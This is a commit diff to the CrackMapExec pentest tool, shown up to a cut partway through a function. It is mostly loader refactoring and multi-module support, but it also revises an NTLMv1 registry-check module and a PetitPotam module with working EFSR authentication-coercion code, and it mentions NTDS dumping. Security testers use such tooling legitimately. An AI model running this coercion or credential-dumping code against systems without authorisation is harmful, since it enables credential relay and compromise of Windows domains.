commit
1af5780416
10
cme/cli.py
10
cme/cli.py
|
@ -4,16 +4,17 @@
|
||||||
import argparse
|
import argparse
|
||||||
import sys
|
import sys
|
||||||
from argparse import RawTextHelpFormatter
|
from argparse import RawTextHelpFormatter
|
||||||
from cme.loaders.protocol_loader import protocol_loader
|
from cme.loaders.protocolloader import ProtocolLoader
|
||||||
from cme.helpers.logger import highlight
|
from cme.helpers.logger import highlight
|
||||||
from termcolor import colored
|
from termcolor import colored
|
||||||
|
|
||||||
|
|
||||||
def gen_cli_args():
|
def gen_cli_args():
|
||||||
|
|
||||||
VERSION = '5.4.6'
|
VERSION = '5.4.6'
|
||||||
CODENAME = "Bruce Wayne"
|
CODENAME = "Bruce Wayne"
|
||||||
|
|
||||||
p_loader = protocol_loader()
|
p_loader = ProtocolLoader()
|
||||||
protocols = p_loader.get_protocols()
|
protocols = p_loader.get_protocols()
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description=f"""
|
parser = argparse.ArgumentParser(description=f"""
|
||||||
|
@ -64,7 +65,7 @@ def gen_cli_args():
|
||||||
|
|
||||||
module_parser = argparse.ArgumentParser(add_help=False)
|
module_parser = argparse.ArgumentParser(add_help=False)
|
||||||
mgroup = module_parser.add_mutually_exclusive_group()
|
mgroup = module_parser.add_mutually_exclusive_group()
|
||||||
mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use')
|
mgroup.add_argument("-M", "--module", action='append', metavar='MODULE', help='module to use')
|
||||||
#mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
|
#mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
|
||||||
module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options')
|
module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options')
|
||||||
module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules')
|
module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules')
|
||||||
|
@ -84,7 +85,6 @@ def gen_cli_args():
|
||||||
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
|
||||||
if args.version:
|
if args.version:
|
||||||
print(VERSION + " - " + CODENAME)
|
print(VERSION + " - " + CODENAME)
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
|
@ -11,7 +11,7 @@ import requests
|
||||||
from sqlalchemy import create_engine
|
from sqlalchemy import create_engine
|
||||||
from terminaltables import AsciiTable
|
from terminaltables import AsciiTable
|
||||||
import configparser
|
import configparser
|
||||||
from cme.loaders.protocol_loader import protocol_loader
|
from cme.loaders.protocolloader import ProtocolLoader
|
||||||
from cme.paths import CONFIG_PATH, WS_PATH, WORKSPACE_DIR
|
from cme.paths import CONFIG_PATH, WS_PATH, WORKSPACE_DIR
|
||||||
from requests import ConnectionError
|
from requests import ConnectionError
|
||||||
from sqlalchemy.exc import SAWarning
|
from sqlalchemy.exc import SAWarning
|
||||||
|
@ -345,7 +345,7 @@ class CMEDBMenu(cmd.Cmd):
|
||||||
|
|
||||||
|
|
||||||
self.conn = None
|
self.conn = None
|
||||||
self.p_loader = protocol_loader()
|
self.p_loader = ProtocolLoader()
|
||||||
self.protocols = self.p_loader.get_protocols()
|
self.protocols = self.p_loader.get_protocols()
|
||||||
|
|
||||||
self.workspace = self.config.get('CME', 'workspace')
|
self.workspace = self.config.get('CME', 'workspace')
|
||||||
|
@ -460,7 +460,7 @@ def initialize_db(logger):
|
||||||
logger.info('Creating default workspace')
|
logger.info('Creating default workspace')
|
||||||
os.mkdir(os.path.join(WS_PATH, 'default'))
|
os.mkdir(os.path.join(WS_PATH, 'default'))
|
||||||
|
|
||||||
p_loader = protocol_loader()
|
p_loader = ProtocolLoader()
|
||||||
protocols = p_loader.get_protocols()
|
protocols = p_loader.get_protocols()
|
||||||
for protocol in protocols.keys():
|
for protocol in protocols.keys():
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -127,28 +127,33 @@ class connection(object):
|
||||||
r = getattr(self, k)()
|
r = getattr(self, k)()
|
||||||
|
|
||||||
def call_modules(self):
|
def call_modules(self):
|
||||||
module_logger = CMEAdapter(extra={
|
for module in self.module:
|
||||||
'module': self.module.name.upper(),
|
logging.debug(f"Loading module {module}")
|
||||||
'host': self.host,
|
module_logger = CMEAdapter(extra={
|
||||||
'port': self.args.port,
|
'module': module.name.upper(),
|
||||||
'hostname': self.hostname
|
'host': self.host,
|
||||||
})
|
'port': self.args.port,
|
||||||
|
'hostname': self.hostname
|
||||||
|
})
|
||||||
|
|
||||||
context = Context(self.db, module_logger, self.args)
|
context = Context(self.db, module_logger, self.args)
|
||||||
context.localip = self.local_ip
|
context.localip = self.local_ip
|
||||||
|
try:
|
||||||
|
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
||||||
|
self.server.connection = self
|
||||||
|
self.server.context.localip = self.local_ip
|
||||||
|
|
||||||
if hasattr(self.module, 'on_request') or hasattr(self.module, 'has_response'):
|
if hasattr(module, 'on_login'):
|
||||||
self.server.connection = self
|
module.on_login(context, self)
|
||||||
self.server.context.localip = self.local_ip
|
|
||||||
|
|
||||||
if hasattr(self.module, 'on_login'):
|
if self.admin_privs and hasattr(module, 'on_admin_login'):
|
||||||
self.module.on_login(context, self)
|
module.on_admin_login(context, self)
|
||||||
|
|
||||||
if self.admin_privs and hasattr(self.module, 'on_admin_login'):
|
if (not hasattr(module, 'on_request') and not hasattr(module, 'has_response')) and hasattr(module,'on_shutdown'):
|
||||||
self.module.on_admin_login(context, self)
|
module.on_shutdown(context, self)
|
||||||
|
except Exception as e:
|
||||||
if (not hasattr(self.module, 'on_request') and not hasattr(self.module, 'has_response')) and hasattr(self.module, 'on_shutdown'):
|
self.logger.error(f"Error while loading module {module}: {e}")
|
||||||
self.module.on_shutdown(context, self)
|
pass
|
||||||
|
|
||||||
def inc_failed_login(self, username):
|
def inc_failed_login(self, username):
|
||||||
global global_failed_logins
|
global global_failed_logins
|
||||||
|
|
|
@ -11,8 +11,8 @@ from cme.parsers.ip import parse_targets
|
||||||
from cme.parsers.nmap import parse_nmap_xml
|
from cme.parsers.nmap import parse_nmap_xml
|
||||||
from cme.parsers.nessus import parse_nessus_file
|
from cme.parsers.nessus import parse_nessus_file
|
||||||
from cme.cli import gen_cli_args
|
from cme.cli import gen_cli_args
|
||||||
from cme.loaders.protocol_loader import protocol_loader
|
from cme.loaders.protocolloader import ProtocolLoader
|
||||||
from cme.loaders.module_loader import module_loader
|
from cme.loaders.moduleloader import ModuleLoader
|
||||||
from cme.servers.http import CMEServer
|
from cme.servers.http import CMEServer
|
||||||
from cme.first_run import first_run_setup
|
from cme.first_run import first_run_setup
|
||||||
from cme.context import Context
|
from cme.context import Context
|
||||||
|
@ -144,7 +144,7 @@ def main():
|
||||||
powershell.obfuscate_ps_scripts = True
|
powershell.obfuscate_ps_scripts = True
|
||||||
|
|
||||||
logging.debug(f"Protocol: {args.protocol}")
|
logging.debug(f"Protocol: {args.protocol}")
|
||||||
p_loader = protocol_loader()
|
p_loader = ProtocolLoader()
|
||||||
protocol_path = p_loader.get_protocols()[args.protocol]['path']
|
protocol_path = p_loader.get_protocols()[args.protocol]['path']
|
||||||
logging.debug(f"Protocol Path: {protocol_path}")
|
logging.debug(f"Protocol Path: {protocol_path}")
|
||||||
protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']
|
protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']
|
||||||
|
@ -165,56 +165,61 @@ def main():
|
||||||
setattr(protocol_object, 'config', config)
|
setattr(protocol_object, 'config', config)
|
||||||
|
|
||||||
if hasattr(args, 'module'):
|
if hasattr(args, 'module'):
|
||||||
loader = module_loader(args, db, logger)
|
loader = ModuleLoader(args, db, logger)
|
||||||
if args.list_modules:
|
modules = loader.get_modules()
|
||||||
modules = loader.get_modules()
|
|
||||||
|
|
||||||
|
if args.list_modules:
|
||||||
for name, props in sorted(modules.items()):
|
for name, props in sorted(modules.items()):
|
||||||
logger.info('{:<25} {}'.format(name, props['description']))
|
logger.info('{:<25} {}'.format(name, props['description']))
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
elif args.module and args.show_module_options:
|
elif args.module and args.show_module_options:
|
||||||
|
for module in args.module:
|
||||||
modules = loader.get_modules()
|
logger.info(f"{module} module options:\n{modules[module]['options']}")
|
||||||
for name, props in modules.items():
|
|
||||||
if args.module.lower() == name.lower():
|
|
||||||
logger.info('{} module options:\n{}'.format(name, props['options']))
|
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
elif args.module:
|
elif args.module:
|
||||||
modules = loader.get_modules()
|
logging.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
|
||||||
for name, props in modules.items():
|
for m in map(str.lower, args.module):
|
||||||
if args.module.lower() == name.lower():
|
if m not in modules:
|
||||||
module = loader.init_module(props['path'])
|
logger.error(f"Module not found: {m}")
|
||||||
setattr(protocol_object, 'module', module)
|
exit(1)
|
||||||
break
|
|
||||||
|
|
||||||
if not module:
|
logging.debug(f"Loading module {m} at path {modules[m]['path']}")
|
||||||
logger.error('Module not found')
|
module = loader.init_module(modules[m]['path'])
|
||||||
exit(1)
|
|
||||||
|
|
||||||
if getattr(module, 'opsec_safe') is False:
|
if not module.opsec_safe:
|
||||||
ans = input(highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red'))
|
ans = input(
|
||||||
if ans.lower() not in ['y', 'yes', '']:
|
highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red'))
|
||||||
sys.exit(1)
|
if ans.lower() not in ['y', 'yes', '']:
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
|
if not module.multiple_hosts and len(targets) > 1:
|
||||||
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red'))
|
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red'))
|
||||||
if ans.lower() not in ['y', 'yes', '']:
|
if ans.lower() not in ['y', 'yes', '']:
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
||||||
|
if hasattr(module, 'required_server'):
|
||||||
|
args.server = module.required_server
|
||||||
|
|
||||||
if hasattr(module, 'required_server'):
|
if not args.server_port:
|
||||||
args.server = getattr(module, 'required_server')
|
args.server_port = server_port_dict[args.server]
|
||||||
|
|
||||||
if not args.server_port:
|
# loading a module server multiple times will obviously fail
|
||||||
args.server_port = server_port_dict[args.server]
|
try:
|
||||||
|
context = Context(db, logger, args)
|
||||||
|
module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server)
|
||||||
|
module_server.start()
|
||||||
|
protocol_object.server = module_server.server
|
||||||
|
except Exception as e:
|
||||||
|
logging.debug(f"Error loading module server for {module}: {e}")
|
||||||
|
|
||||||
context = Context(db, logger, args)
|
logging.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
|
||||||
module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server)
|
logging.debug(f"proto object dir: {dir(protocol_object)}")
|
||||||
module_server.start()
|
# get currently set modules, otherwise default to empty list
|
||||||
setattr(protocol_object, 'server', module_server.server)
|
current_modules = getattr(protocol_object, 'module', [])
|
||||||
|
current_modules.append(module)
|
||||||
|
setattr(protocol_object, 'module', current_modules)
|
||||||
|
logging.debug(f"proto object module after adding: {protocol_object.module}")
|
||||||
|
|
||||||
if hasattr(args, 'ntds') and args.ntds and not args.userntds:
|
if hasattr(args, 'ntds') and args.ntds and not args.userntds:
|
||||||
ans = input(highlight('[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ', 'red'))
|
ans = input(highlight('[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ', 'red'))
|
||||||
|
|
|
@ -1,16 +1,15 @@
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
import imp
|
import importlib
|
||||||
import types
|
import logging
|
||||||
from importlib.machinery import SourceFileLoader
|
|
||||||
import os
|
import os
|
||||||
import sys
|
|
||||||
import cme
|
import cme
|
||||||
from cme.context import Context
|
from cme.context import Context
|
||||||
from cme.logger import CMEAdapter
|
from cme.logger import CMEAdapter
|
||||||
|
|
||||||
|
|
||||||
class module_loader:
|
class ModuleLoader:
|
||||||
def __init__(self, args, db, logger):
|
def __init__(self, args, db, logger):
|
||||||
self.args = args
|
self.args = args
|
||||||
self.db = db
|
self.db = db
|
||||||
|
@ -19,7 +18,6 @@ class module_loader:
|
||||||
|
|
||||||
def module_is_sane(self, module, module_path):
|
def module_is_sane(self, module, module_path):
|
||||||
module_error = False
|
module_error = False
|
||||||
|
|
||||||
if not hasattr(module, 'name'):
|
if not hasattr(module, 'name'):
|
||||||
self.logger.error('{} missing the name variable'.format(module_path))
|
self.logger.error('{} missing the name variable'.format(module_path))
|
||||||
module_error = True
|
module_error = True
|
||||||
|
@ -47,44 +45,44 @@ class module_loader:
|
||||||
|
|
||||||
if module_error:
|
if module_error:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def load_module(self, module_path):
|
def load_module(self, module_path):
|
||||||
try:
|
try:
|
||||||
module = imp.load_source('payload_module', module_path).CMEModule()
|
spec = importlib.util.spec_from_file_location("CMEModule", module_path)
|
||||||
|
module = spec.loader.load_module().CMEModule()
|
||||||
|
|
||||||
if self.module_is_sane(module, module_path):
|
if self.module_is_sane(module, module_path):
|
||||||
return module
|
return module
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
|
self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def get_modules(self):
|
def get_modules(self):
|
||||||
modules = {}
|
modules = {}
|
||||||
|
|
||||||
modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(self.cme_path, 'modules')]
|
modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(self.cme_path, 'modules')]
|
||||||
|
|
||||||
for path in modules_paths:
|
for path in modules_paths:
|
||||||
for module in os.listdir(path):
|
for module in os.listdir(path):
|
||||||
if module[-3:] == '.py' and module != 'example_module.py':
|
if module[-3:] == '.py' and module != 'example_module.py':
|
||||||
module_path = os.path.join(path, module)
|
module_path = os.path.join(path, module)
|
||||||
m = self.load_module(os.path.join(path, module))
|
m = self.load_module(module_path)
|
||||||
if m and (self.args.protocol in m.supported_protocols):
|
|
||||||
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support}
|
|
||||||
|
|
||||||
|
if m and (self.args.protocol in m.supported_protocols):
|
||||||
|
modules[m.name.lower()] = {
|
||||||
|
'path': module_path,
|
||||||
|
'description': m.description,
|
||||||
|
'options': m.options.__doc__
|
||||||
|
} # 'chain_support': m.chain_support}
|
||||||
return modules
|
return modules
|
||||||
|
|
||||||
def init_module(self, module_path):
|
def init_module(self, module_path):
|
||||||
|
module = None
|
||||||
module = None
|
|
||||||
|
|
||||||
module = self.load_module(module_path)
|
module = self.load_module(module_path)
|
||||||
|
|
||||||
if module:
|
if module:
|
||||||
module_logger = CMEAdapter(extra={'module': module.name.upper()})
|
module_logger = CMEAdapter(extra={'module': module.name.upper()})
|
||||||
context = Context(self.db, module_logger, self.args)
|
context = Context(self.db, module_logger, self.args)
|
||||||
|
|
||||||
module_options = {}
|
module_options = {}
|
||||||
|
|
||||||
for option in self.args.module_options:
|
for option in self.args.module_options:
|
||||||
|
@ -92,5 +90,4 @@ class module_loader:
|
||||||
module_options[str(key).upper()] = value
|
module_options[str(key).upper()] = value
|
||||||
|
|
||||||
module.options(context, module_options)
|
module.options(context, module_options)
|
||||||
|
|
||||||
return module
|
return module
|
|
@ -6,7 +6,7 @@ import os
|
||||||
import cme
|
import cme
|
||||||
|
|
||||||
|
|
||||||
class protocol_loader:
|
class ProtocolLoader:
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.cme_path = os.path.expanduser('~/.cme')
|
self.cme_path = os.path.expanduser('~/.cme')
|
||||||
|
|
||||||
|
@ -14,7 +14,6 @@ class protocol_loader:
|
||||||
loader = SourceFileLoader('protocol', protocol_path)
|
loader = SourceFileLoader('protocol', protocol_path)
|
||||||
protocol = types.ModuleType(loader.name)
|
protocol = types.ModuleType(loader.name)
|
||||||
loader.exec_module(protocol)
|
loader.exec_module(protocol)
|
||||||
#if self.module_is_sane(module, module_path):
|
|
||||||
return protocol
|
return protocol
|
||||||
|
|
||||||
def get_protocols(self):
|
def get_protocols(self):
|
|
@ -2,7 +2,7 @@
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from impacket.dcerpc.v5.scmr import DCERPCSessionError
|
from impacket.dcerpc.v5 import scmr
|
||||||
from impacket.dcerpc.v5 import rrp
|
from impacket.dcerpc.v5 import rrp
|
||||||
from impacket.examples.secretsdump import RemoteOperations
|
from impacket.examples.secretsdump import RemoteOperations
|
||||||
|
|
||||||
|
@ -55,5 +55,7 @@ class CMEModule:
|
||||||
finally:
|
finally:
|
||||||
try:
|
try:
|
||||||
remote_ops.finish()
|
remote_ops.finish()
|
||||||
except DCERPCSessionError as e:
|
except scmr.DCERPCSessionError as e:
|
||||||
logging.debug(f"Received error while attempting to clean up logins: {e}")
|
logging.debug(f"Received SessionError while attempting to clean up logins: {e}")
|
||||||
|
except Exception as e:
|
||||||
|
logging.debug(f"Received general exception while attempting to clean up logins: {e}")
|
||||||
|
|
|
@ -1,48 +1,54 @@
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
|
import logging
|
||||||
|
|
||||||
from impacket.dcerpc.v5 import rrp
|
from impacket.dcerpc.v5 import rrp
|
||||||
from impacket.examples.secretsdump import RemoteOperations
|
from impacket.examples.secretsdump import RemoteOperations
|
||||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||||
|
|
||||||
|
|
||||||
class CMEModule:
|
class CMEModule:
|
||||||
'''
|
"""
|
||||||
Detect if the targets's LmCompatibilityLevel will allow NTLMv1 authentication
|
Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
|
||||||
Module by @Tw1sm
|
Module by @Tw1sm
|
||||||
'''
|
"""
|
||||||
name = 'ntlmv1'
|
name = "ntlmv1"
|
||||||
description = 'Detect if lmcompatibilitylevel on the target is set to 0 or 1'
|
description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
|
||||||
supported_protocols = ['smb']
|
supported_protocols = ["smb"]
|
||||||
opsec_safe= True
|
opsec_safe = True
|
||||||
multiple_hosts = True
|
multiple_hosts = True
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
self.output = 'NTLMv1 allowed on: {} - LmCompatibilityLevel = {}'
|
self.output = "NTLMv1 allowed on: {} - LmCompatibilityLevel = {}"
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
def on_admin_login(self, context, connection):
|
||||||
try:
|
try:
|
||||||
remoteOps = RemoteOperations(connection.conn, False)
|
remote_ops = RemoteOperations(connection.conn, False)
|
||||||
remoteOps.enableRegistry()
|
remote_ops.enableRegistry()
|
||||||
|
|
||||||
if remoteOps._RemoteOperations__rrp:
|
if remote_ops._RemoteOperations__rrp:
|
||||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||||
regHandle = ans['phKey']
|
reg_handle = ans["phKey"]
|
||||||
|
ans = rrp.hBaseRegOpenKey(
|
||||||
|
remote_ops._RemoteOperations__rrp,
|
||||||
|
reg_handle,
|
||||||
|
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
|
||||||
|
)
|
||||||
|
key_handle = ans['phkResult']
|
||||||
|
rtype = None
|
||||||
|
data = None
|
||||||
|
try:
|
||||||
|
rtype, data = rrp.hBaseRegQueryValue(
|
||||||
|
remote_ops._RemoteOperations__rrp,
|
||||||
|
key_handle,
|
||||||
|
"lmcompatibilitylevel\x00"
|
||||||
|
)
|
||||||
|
except rrp.DCERPCSessionError as e:
|
||||||
|
logging.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
|
||||||
|
|
||||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
|
if rtype and data and int(data) in [0, 1, 2]:
|
||||||
keyHandle = ans['phkResult']
|
|
||||||
|
|
||||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'lmcompatibilitylevel\x00')
|
|
||||||
|
|
||||||
if int(data) in [0, 1, 2]:
|
|
||||||
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
|
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
|
||||||
|
|
||||||
try:
|
|
||||||
remoteOps.finish()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
except DCERPCSessionError as e:
|
except DCERPCSessionError as e:
|
||||||
try:
|
logging.debug(f"Error connecting to RemoteRegistry: {e}")
|
||||||
remoteOps.finish()
|
finally:
|
||||||
except:
|
remote_ops.finish()
|
||||||
pass
|
|
||||||
|
|
|
@ -5,6 +5,8 @@
|
||||||
# Module by @mpgn_x64
|
# Module by @mpgn_x64
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
import sys
|
||||||
|
|
||||||
from impacket import system_errors
|
from impacket import system_errors
|
||||||
from impacket.dcerpc.v5 import transport
|
from impacket.dcerpc.v5 import transport
|
||||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||||
|
@ -19,7 +21,7 @@ class CMEModule:
|
||||||
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||||
supported_protocols = ['smb']
|
supported_protocols = ['smb']
|
||||||
opsec_safe = True
|
opsec_safe = True
|
||||||
multiple_hosts = False
|
multiple_hosts = True
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
|
@ -28,15 +30,25 @@ class CMEModule:
|
||||||
'''
|
'''
|
||||||
self.listener = "127.0.0.1"
|
self.listener = "127.0.0.1"
|
||||||
if 'LISTENER' in module_options:
|
if 'LISTENER' in module_options:
|
||||||
self.listener = module_options['LISTENER']
|
self.listener = module_options['LISTENER']
|
||||||
self.pipe = "lsarpc"
|
self.pipe = "lsarpc"
|
||||||
if 'PIPE' in module_options:
|
if 'PIPE' in module_options:
|
||||||
self.pipe = module_options['PIPE']
|
self.pipe = module_options['PIPE']
|
||||||
|
|
||||||
def on_login(self, context, connection):
|
def on_login(self, context, connection):
|
||||||
plop = CoerceAuth()
|
dce = coerce(
|
||||||
dce = plop.connect(connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, pipe=self.pipe, targetIp=connection.host, doKerberos=connection.kerberos, dcHost=connection.kdcHost)
|
connection.username,
|
||||||
if plop.EfsRpcOpenFileRaw(dce, self.listener):
|
password=connection.password,
|
||||||
|
domain=connection.domain,
|
||||||
|
lmhash=connection.lmhash,
|
||||||
|
nthash=connection.nthash,
|
||||||
|
target=connection.host,
|
||||||
|
pipe=self.pipe,
|
||||||
|
do_kerberos=connection.kerberos,
|
||||||
|
dc_host=connection.kdcHost,
|
||||||
|
target_ip=connection.host
|
||||||
|
)
|
||||||
|
if efs_rpc_open_file_raw(dce, self.listener):
|
||||||
context.log.highlight("VULNERABLE")
|
context.log.highlight("VULNERABLE")
|
||||||
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
|
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
|
||||||
try:
|
try:
|
||||||
|
@ -109,6 +121,7 @@ class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||||
('Display', LPWSTR),
|
('Display', LPWSTR),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||||
structure = (
|
structure = (
|
||||||
('Lenght', DWORD),
|
('Lenght', DWORD),
|
||||||
|
@ -135,13 +148,6 @@ class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
|
||||||
structure = (
|
|
||||||
('Data', DWORD),
|
|
||||||
('cbData', PCHAR),
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||||
align = 1
|
align = 1
|
||||||
structure = (
|
structure = (
|
||||||
|
@ -179,90 +185,90 @@ class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||||
('ErrorCode', ULONG),
|
('ErrorCode', ULONG),
|
||||||
)
|
)
|
||||||
|
|
||||||
class CoerceAuth:
|
|
||||||
def connect(self, username, password, domain, lmhash, nthash, target, pipe, targetIp, doKerberos, dcHost):
|
|
||||||
binding_params = {
|
|
||||||
'lsarpc': {
|
|
||||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
|
|
||||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
|
||||||
},
|
|
||||||
'efsr': {
|
|
||||||
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
|
|
||||||
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
|
|
||||||
},
|
|
||||||
'samr': {
|
|
||||||
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
|
|
||||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
|
||||||
},
|
|
||||||
'lsass': {
|
|
||||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
|
|
||||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
|
||||||
},
|
|
||||||
'netlogon': {
|
|
||||||
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
|
|
||||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
|
||||||
},
|
|
||||||
}
|
|
||||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
|
||||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
|
||||||
|
|
||||||
if targetIp:
|
def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos, dc_host, target_ip=None):
|
||||||
rpctransport.setRemoteHost(targetIp)
|
binding_params = {
|
||||||
|
'lsarpc': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||||
|
},
|
||||||
|
'efsr': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
|
||||||
|
},
|
||||||
|
'samr': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||||
|
},
|
||||||
|
'lsass': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||||
|
},
|
||||||
|
'netlogon': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||||
|
},
|
||||||
|
}
|
||||||
|
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
||||||
|
if hasattr(rpc_transport, 'set_credentials'):
|
||||||
|
rpc_transport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||||
|
|
||||||
dce = rpctransport.get_dce_rpc()
|
if target_ip:
|
||||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
rpc_transport.setRemoteHost(target_ip)
|
||||||
